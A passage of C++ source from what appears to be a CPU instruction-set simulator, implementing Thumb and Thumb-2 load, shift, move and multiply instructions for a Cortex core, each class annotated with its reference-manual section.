if (firstcond == 0xE && BitCount != 1) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (icpu_->InITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
icpu_->StartITBlock(firstcond, mask);
return 2;
}
};
/** 4.6.42 LDMIA Load Multiple Increment After Load */
class LDMIA_T2 : public T1Instruction {
public:
LDMIA_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDMIA.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t n = ti & 0xF;
uint32_t P = (ti1 >> 15) & 1;
uint32_t M = (ti1 >> 14) & 1;
uint32_t register_list = ti1 & 0xDFFF;
uint32_t address = static_cast<uint32_t>(R[n]);
uint32_t wback = (ti >> 5) & 1;
if (n == Reg_pc) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (P == 1 && M == 1) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (P == 1 && icpu_->InITBlock() && !icpu_->LastInITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
trans_.action = MemAction_Read;
trans_.xsize = 4;
trans_.wstrb = 0;
for (int i = 0; i < Reg_pc; i++) {
if (register_list & (1ul << i)) {
trans_.addr = address;
icpu_->dma_memop(&trans_);
if (!(static_cast<unsigned>(i) == n && wback)) {
icpu_->setReg(i, trans_.rpayload.b32[0]);
} else {
// R[i] set earlier to be bits[32] UNKNOWN
}
address += 4;
}
}
if (ti & (1ul << Reg_pc)) {
if (wback) {
icpu_->setReg(n, address + 4); // to support Exception Exit
}
LoadWritePC(address);
address += 4;
} else {
if (wback) {
icpu_->setReg(n, address);
}
}
return 4;
}
};
/** 4.6.43 LDR (immediate) */
class LDR_I_T1 : public T1Instruction {
public:
LDR_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDR_I_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t instr = payload->buf16[0];
uint32_t t = instr & 0x7;
uint32_t n = (instr >> 3) & 0x7;
uint32_t imm32 = ((instr >> 6) & 0x1F) << 2;
uint32_t address = static_cast<uint32_t>(R[n]) + imm32;
if (t == Reg_pc) {
if (trans_.addr & 0x3) {
RISCV_error("%s", "UNPREDICTABLE");
} else {
LoadWritePC(address);
}
} else {
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 4;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b32[0]);
}
return 2;
}
};
class LDR_I_T2 : public T1Instruction {
public:
LDR_I_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDR_I_T2") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t t = (ti >> 8) & 0x7;
uint32_t Rn = static_cast<uint32_t>(R[Reg_sp]);
uint32_t imm32 = (ti & 0xFF) << 2;
trans_.addr = Rn + imm32;
trans_.action = MemAction_Read;
trans_.xsize = 4;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b32[0]);
return 2;
}
};
class LDR_I_T3 : public T1Instruction {
public:
LDR_I_T3(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDR.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t t = (ti1 >> 12) & 0xf;
uint32_t n = ti & 0xF;
uint32_t imm32 = ti1 & 0xFFF;
uint32_t address = static_cast<uint32_t>(R[n]) + imm32;
if (t == Reg_pc && icpu_->InITBlock() && !icpu_->LastInITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (t == Reg_pc) {
if (trans_.addr & 0x3) {
RISCV_error("%s", "UNPREDICTABLE");
} else {
LoadWritePC(address);
}
} else {
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 4;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b32[0]);
}
return 4;
}
};
class LDR_I_T4 : public T1Instruction {
public:
LDR_I_T4(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDR.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t t = (ti1 >> 12) & 0xf;
uint32_t n = ti & 0xF;
uint32_t imm32 = ti1 & 0xFF;
bool index = (ti1 >> 10) & 1;
bool add = (ti1 >> 9) & 1;
bool wback = (ti1 >> 8) & 1;
uint32_t Rn = static_cast<uint32_t>(R[n]);
if (wback && n == t) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (t == Reg_pc && icpu_->InITBlock() && !icpu_->LastInITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
uint32_t offset_addr = add ? Rn + imm32 : Rn - imm32;
uint32_t address = index ? offset_addr : Rn;
if (wback) {
icpu_->setReg(n, offset_addr);
}
if (t == Reg_pc) {
if (trans_.addr & 0x3) {
RISCV_error("%s", "UNPREDICTABLE");
} else {
LoadWritePC(address);
}
} else {
trans_.action = MemAction_Read;
trans_.addr = address;
trans_.xsize = 4;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b32[0]);
}
return 4;
}
};
/** 4.6.44 LDR (literal) */
class LDR_L_T1 : public T1Instruction {
public:
LDR_L_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDR") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t t = (ti >> 8) & 0x7;
uint32_t imm8 = (ti & 0xFF) << 2;
uint32_t base = static_cast<uint32_t>(icpu_->getPC()) + 4;
base &= ~0x3; // Align(base, 4)
uint32_t address = base + imm8;
if (t == Reg_pc) {
if (address & 0x3) {
RISCV_error("%s", "UNPREDICTABLE");
} else {
LoadWritePC(address);
}
} else {
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 4;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b32[0]);
}
return 2;
}
};
class LDR_L_T2 : public T1Instruction {
public:
LDR_L_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDR.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t imm32 = ti1 & 0xFFF;
uint32_t base = static_cast<uint32_t>(icpu_->getPC()) + 4;
base &= ~0x3; // Align(base, 4)
bool add = (ti >> 7) & 1;
uint32_t address;
if (t == Reg_pc && icpu_->InITBlock() && !icpu_->LastInITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
address = add ? base + imm32 : base - imm32;
if (t == Reg_pc) {
if (address & 0x3) {
RISCV_error("%s", "UNPREDICTABLE");
} else {
LoadWritePC(address);
}
} else {
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 4;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b32[0]);
}
return 4;
}
};
/** 4.6.45 LDR (register) */
class LDR_R_T1 : public T1Instruction {
public:
LDR_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDR") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t instr = payload->buf16[0];
uint32_t t = instr & 0x7;
uint32_t n = (instr >> 3) & 0x7;
uint32_t m = (instr >> 6) & 0x7;
uint32_t address = static_cast<uint32_t>(R[n])
+ static_cast<uint32_t>(R[m]);
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 4;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b32[0]);
return 2;
}
};
class LDR_R_T2 : public T1Instruction {
public:
LDR_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDR") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
int shift_n = (ti1 >> 4) & 0x3;
uint32_t c_out;
if (BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (t == Reg_pc && icpu_->InITBlock() && !icpu_->LastInITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
uint32_t address = static_cast<uint32_t>(R[n])
+ LSL_C(static_cast<uint32_t>(R[m]), shift_n, &c_out);
if (t == Reg_pc) {
if (address & 0x3) {
RISCV_error("%s", "UNPREDICTABLE");
} else {
LoadWritePC(address);
}
} else {
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 4;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b32[0]);
}
return 4;
}
};
/** 4.6.46 LDRB (immediate) */
class LDRB_I_T1 : public T1Instruction {
public:
LDRB_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDRB") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t t = ti & 0x7;
uint32_t n = (ti >> 3) & 0x7;
uint32_t imm32 = (ti >> 6) & 0x1F;
trans_.addr = static_cast<uint32_t>(R[n]) + imm32;
trans_.action = MemAction_Read;
trans_.xsize = 1;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b8[0]);
return 2;
}
};
class LDRB_I_T2 : public T1Instruction {
public:
LDRB_I_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDRB.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t n = ti & 0xF;
uint32_t imm32 = ti1 & 0xFFF;
uint32_t address = static_cast<uint32_t>(R[n]) + imm32;
if (t == Reg_sp) {
RISCV_error("%s", "UNPREDICTABLE");
}
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 1;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b8[0]);
return 4;
}
};
class LDRB_I_T3 : public T1Instruction {
public:
LDRB_I_T3(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDRB.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t n = ti & 0xF;
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t index = (ti1 >> 10) & 1;
uint32_t add = (ti1 >> 9) & 1;
uint32_t wback = (ti1 >> 8) & 1;
uint32_t imm32 = ti1 & 0xFF;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t offset_addr = add != 0 ? (Rn + imm32) : (Rn - imm32);
uint32_t address = index != 0 ? offset_addr : Rn;
if (!index && !wback) {
RISCV_error("%s", "UNDEFINED");
}
if (BadReg(t) || (wback && n == t)) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (wback) {
icpu_->setReg(n, offset_addr);
}
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 1;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b8[0]);
return 4;
}
};
/** 4.6.48 LDRB (register) */
class LDRB_R_T1 : public T1Instruction {
public:
LDRB_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDRB") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t t = ti & 0x7;
uint32_t n = (ti >> 3) & 0x7;
uint32_t m = (ti >> 6) & 0x7;
int shift_n = 0;
uint32_t c_out;
uint32_t address = static_cast<uint32_t>(R[n])
+ LSL_C(static_cast<uint32_t>(R[m]), shift_n, &c_out);
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 1;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b8[0]);
return 2;
}
};
class LDRB_R_T2 : public T1Instruction {
public:
LDRB_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDRB_R_T2") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
int shift_n = static_cast<int>((ti1 >> 4) & 0x3);
uint32_t c_out;
if (t == Reg_sp || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
uint32_t address = static_cast<uint32_t>(R[n])
+ LSL_C(static_cast<uint32_t>(R[m]), shift_n, &c_out);
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 1;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b8[0]);
return 4;
}
};
/** 4.6.55 LDRH (immediate) */
class LDRH_I_T1 : public T1Instruction {
public:
LDRH_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDRH") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t t = ti & 0x7;
uint32_t n = (ti >> 3) & 0x7;
uint32_t imm32 = ((ti >> 6) & 0x1F) << 1;
trans_.addr = static_cast<uint32_t>(R[n]) + imm32;
trans_.action = MemAction_Read;
trans_.xsize = 2;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b16[0]);
return 2;
}
};
/** 4.6.57 LDRH (register) */
class LDRH_R_T2 : public T1Instruction {
public:
LDRH_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDRH_R_T2") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t n = ti & 0xF;
uint32_t t = (ti1 >> 12) & 0xF;
int shift_n = static_cast<int>((ti1 >> 4) & 0x3);
uint32_t m = ti1 & 0xF;
uint32_t c_out;
if (t == Reg_sp || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (t == Reg_pc) {
RISCV_error("!!!!%s", "See memory hints on page 4-14");
}
uint32_t address = static_cast<uint32_t>(R[n])
+ LSL_C(static_cast<uint32_t>(R[m]), shift_n, &c_out);
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 2;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
icpu_->setReg(t, trans_.rpayload.b16[0]);
return 4;
}
};
/** 4.6.59 LDRSB (immediate) */
class LDRSB_I_T1 : public T1Instruction {
public:
LDRSB_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDRSB") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t n = ti & 0xF;
uint32_t imm32 = ti1 & 0xFFF;
if (t == Reg_sp) {
RISCV_error("%s", "UNPREDICTABLE");
}
uint32_t address = static_cast<uint32_t>(R[n]) + imm32;
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 1;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
int32_t result = static_cast<int8_t>(trans_.rpayload.b8[0]);
icpu_->setReg(t, static_cast<uint32_t>(result));
return 4;
}
};
/** 4.6.61 LDRSB (register) */
class LDRSB_R_T1 : public T1Instruction {
public:
LDRSB_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDRSB_R_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t m = (ti >> 6) & 0x7;
uint32_t n = (ti >> 3) & 0x7;
uint32_t t = ti & 0x7;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t shifted = static_cast<uint32_t>(R[m]); // no shift
uint32_t address = Rn + shifted;
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 1;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
int32_t result = static_cast<int8_t>(trans_.rpayload.b8[0]);
icpu_->setReg(t, static_cast<uint32_t>(result));
return 2;
}
};
class LDRSB_R_T2 : public T1Instruction {
public:
LDRSB_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LDRSB_R_T2") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t n = ti & 0xF;
uint32_t t = (ti1 >> 12) & 0xF;
uint32_t shift_n = (ti1 >> 4) & 0x3;
uint32_t m = ti1 & 0xF;
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t carry;
if (t == Reg_sp || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
uint32_t offset = LSL_C(Rm, shift_n, &carry);
uint32_t address = static_cast<uint32_t>(R[n]) + offset;
trans_.addr = address;
trans_.action = MemAction_Read;
trans_.xsize = 1;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
int32_t result = static_cast<int8_t>(trans_.rpayload.b8[0]);
icpu_->setReg(t, static_cast<uint32_t>(result));
return 4;
}
};
/** 4.6.68 LSL (immediate) */
class LSL_I_T1 : public T1Instruction {
public:
LSL_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LSLS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t d = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t imm5 = (ti >> 6) & 0x1F;
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t carry;
uint32_t shift_n;
uint32_t result;
DecodeImmShift(0, imm5, &shift_n);
result = Shift_C(Rm, SRType_LSL, shift_n, icpu_->getC(), &carry);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 2;
}
};
/** LSL (register) */
class LSL_R_T1 : public T1Instruction {
public:
LSL_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LSLS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t dn = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t shift_n = static_cast<uint32_t>(R[m] & 0xFF);
uint32_t Rn = static_cast<uint32_t>(R[dn]);
uint32_t carry;
uint32_t result;
result = Shift_C(Rn, SRType_LSL, shift_n, icpu_->getC(), &carry);
icpu_->setReg(dn, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 2;
}
};
class LSL_R_T2 : public T1Instruction {
public:
LSL_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LSL.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t shift_n = static_cast<uint32_t>(R[m] & 0xFF);
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t carry;
uint32_t result;
if (BadReg(d) || BadReg(n) || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = Shift_C(Rn, SRType_LSL, shift_n, icpu_->getC(), &carry);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 4;
}
};
/** 4.6.70 LSR (immediate) */
class LSR_I_T1 : public T1Instruction {
public:
LSR_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LSRS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t d = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t imm5 = (ti >> 6) & 0x1F;
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t carry;
uint32_t shift_n;
uint32_t result;
DecodeImmShift(1, imm5, &shift_n);
result = Shift_C(Rm, SRType_LSR, shift_n, icpu_->getC(), &carry);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 2;
}
};
/** 4.6.71 LSR (register) */
class LSR_R_T1 : public T1Instruction {
public:
LSR_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LSRS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t dn = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t shift_n = static_cast<uint32_t>(R[m] & 0xFF);
uint32_t Rn = static_cast<uint32_t>(R[dn]);
uint32_t carry;
uint32_t result;
result = Shift_C(Rn, SRType_LSR, shift_n, icpu_->getC(), &carry);
icpu_->setReg(dn, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 2;
}
};
class LSR_R_T2 : public T1Instruction {
public:
LSR_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "LSR.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t shift_n = static_cast<uint32_t>(R[m] & 0xFF);
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t carry;
uint32_t result;
if (BadReg(d) || BadReg(n) || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = Shift_C(Rn, SRType_LSR, shift_n, icpu_->getC(), &carry);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 4;
}
};
/** 4.6.74 MLA Multiply and Accumulate*/
class MLA_T1 : public T1Instruction {
public:
MLA_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "MLA_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t n = ti & 0xF;
uint32_t a = (ti1 >> 12) & 0xF;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t m = ti1 & 0xF;
uint32_t result;
if (BadReg(d) || BadReg(n) || BadReg(m) || a == Reg_sp) {
RISCV_error("%s", "UNPREDICTABLE");
}
// signed or unsigned independent only if calculation in 64-bits
result = static_cast<uint32_t>(R[a] + R[n]*R[m]);
icpu_->setReg(d, result);
return 4;
}
};
/** 4.6.75 MLS Multiply and Subtract */
class MLS_T1 : public T1Instruction {
public:
MLS_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "MLS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t n = ti & 0xF;
uint32_t a = (ti1 >> 12) & 0xF;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t m = ti1 & 0xF;
uint32_t result;
if (BadReg(d) || BadReg(n) || BadReg(m) || BadReg(a)) {
RISCV_error("%s", "UNPREDICTABLE");
}
// signed or unsigned independent only if calculation in 64-bits
result = static_cast<uint32_t>(R[a] - R[n]*R[m]);
icpu_->setReg(d, result);
return 4;
}
};
/** 4.6.76 MOV (immediate) */
class MOV_I_T1 : public T1Instruction {
public:
MOV_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "MOVS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t instr = payload->buf16[0];
uint32_t d = (instr >> 8) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t imm32 = instr & 0xFF;
uint32_t carry = icpu_->getC();
icpu_->setReg(d, imm32);
if (setflags) {
icpu_->setN((imm32 >> 31) & 1);
icpu_->setZ(imm32 == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 2;
}
};
class MOV_I_T2 : public T1Instruction {
public:
MOV_I_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "MOV.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t carry;
uint32_t result;
uint32_t d = (ti1 >> 8) & 0xF;
bool setflags = (ti >> 4) & 1;
uint32_t i = (ti >> 10) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm8 = ti1 & 0xFF;
uint32_t imm12 = (i << 11) | (imm3 << 8) | imm8;
uint32_t imm32 = ThumbExpandImmWithC(imm12, &carry);
if (BadReg(d)) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = imm32;
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
}
return 4;
}
};
class MOV_I_T3 : public T1Instruction {
public:
MOV_I_T3(CpuCortex_Functional *icpu) : T1Instruction(icpu, "MOV.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t result;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t i = (ti >> 10) & 1;
uint32_t imm4 = ti & 0xF;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm8 = ti1 & 0xFF;
uint32_t imm32 = (imm4 << 12) | (i << 11) | (imm3 << 8) | imm8;
if (BadReg(d)) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = imm32;
icpu_->setReg(d, result);
return 4;
}
};
/** 4.6.77 MOV (register) */
class MOV_R_T1 : public T1Instruction {
public:
MOV_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "MOV") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t D = (ti >> 7) & 1;
uint32_t d = (D << 3) | (ti & 0x7);
uint32_t m = (ti >> 3) & 0xF;
uint32_t result = static_cast<uint32_t>(R[m]);
if (d == Reg_pc && icpu_->InITBlock() && !icpu_->LastInITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
icpu_->setReg(d, result);
if (d == Reg_pc) {
ALUWritePC(result); // ALUWritePC
}
return 2;
}
};
class MOV_R_T2 : public T1Instruction {
public:
MOV_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "MOV.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t d = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
uint32_t result = static_cast<uint32_t>(R[m]);
if (icpu_->InITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
icpu_->setReg(d, result); // d < 8 always
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(0); // No data in specification
return 2;
}
};
/** 4.6.84 MUL */
class MUL_T1 : public T1Instruction {
public:
MUL_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "MUL") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t n = (ti >> 3) & 0x7;
uint32_t dm = ti & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t Rm = static_cast<uint32_t>(R[dm]);
uint32_t result;
result = Rn * Rm;
icpu_->setReg(dm, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
}
return 2;
}
};
class MUL_T2 : public T1Instruction {
public:
MUL_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "MUL.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t result;
if (BadReg(d) || BadReg(n) || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = Rn * Rm;
